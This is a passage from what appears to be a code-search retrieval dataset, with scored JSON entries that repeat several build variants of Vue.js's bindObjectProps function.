!(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "25e452bc24b205707df4825b07b146dd", "score": "0.5163131", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "d109da9affd5089c16c2d6ce9b66d925", "score": "0.51629615", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "65822b61fa9cb10c420ba101b5d270f3", "score": "0.5158059", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + camelizedKey)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "65822b61fa9cb10c420ba101b5d270f3", "score": "0.5158059", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + camelizedKey)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "443292c4695256b7f1a66b76d0b70dec", "score": "0.5157434", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n false &&\n 0;\n }\n else {\n if (isArray(value)) {\n value = toObject(value);\n }\n var hash = void 0;\n var _loop_1 = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n }\n else {\n var type = data.attrs && data.attrs.type;\n hash =\n asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\".concat(key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n for (var key in value) {\n _loop_1(key);\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "443292c4695256b7f1a66b76d0b70dec", "score": "0.5157434", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n false &&\n 0;\n }\n else {\n if (isArray(value)) {\n value = toObject(value);\n }\n var hash = void 0;\n var _loop_1 = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n }\n else {\n var type = data.attrs && data.attrs.type;\n hash =\n asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\".concat(key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n for (var key in value) {\n _loop_1(key);\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "5430b8b187d8b626e804b7759f917503", "score": "0.51561004", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "5430b8b187d8b626e804b7759f917503", "score": "0.51561004", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "5430b8b187d8b626e804b7759f917503", "score": "0.51561004", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "5430b8b187d8b626e804b7759f917503", "score": "0.51561004", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "5430b8b187d8b626e804b7759f917503", "score": "0.51561004", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "5430b8b187d8b626e804b7759f917503", "score": "0.51561004", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "5430b8b187d8b626e804b7759f917503", "score": "0.51561004", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "5430b8b187d8b626e804b7759f917503", "score": "0.51561004", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "c93e2aef8c66d1cb011cd044dade2918", "score": "0.51531553", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n process.env.NODE_ENV !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "c93e2aef8c66d1cb011cd044dade2918", "score": "0.51531553", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n process.env.NODE_ENV !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "c93e2aef8c66d1cb011cd044dade2918", "score": "0.51531553", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n process.env.NODE_ENV !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "c93e2aef8c66d1cb011cd044dade2918", "score": "0.51531553", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n process.env.NODE_ENV !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "397ceae9c838bb1d68fb98aac475b42e", "score": "0.5151175", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "92d79ffa2db0c84a12888e60884e8906", "score": "0.51499826", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + camelizedKey)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "92d79ffa2db0c84a12888e60884e8906", "score": "0.51499826", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + camelizedKey)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "92d79ffa2db0c84a12888e60884e8906", "score": "0.51499826", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + camelizedKey)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "92d79ffa2db0c84a12888e60884e8906", "score": "0.51499826", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + camelizedKey)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "92d79ffa2db0c84a12888e60884e8906", "score": "0.51499826", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n true && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + camelizedKey)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "965f8fbe80c541dd5bbdcdf422d8ca09", "score": "0.51488996", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + camelizedKey)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "b1415e9f4c1e1c4cc3520b8d86c40f6f", "score": "0.5147224", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "b1415e9f4c1e1c4cc3520b8d86c40f6f", "score": "0.5147224", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "b1415e9f4c1e1c4cc3520b8d86c40f6f", "score": "0.5147224", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "b1415e9f4c1e1c4cc3520b8d86c40f6f", "score": "0.5147224", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "b1415e9f4c1e1c4cc3520b8d86c40f6f", "score": "0.5147224", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" }, { "docid": "b1415e9f4c1e1c4cc3520b8d86c40f6f", "score": "0.5147224", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, 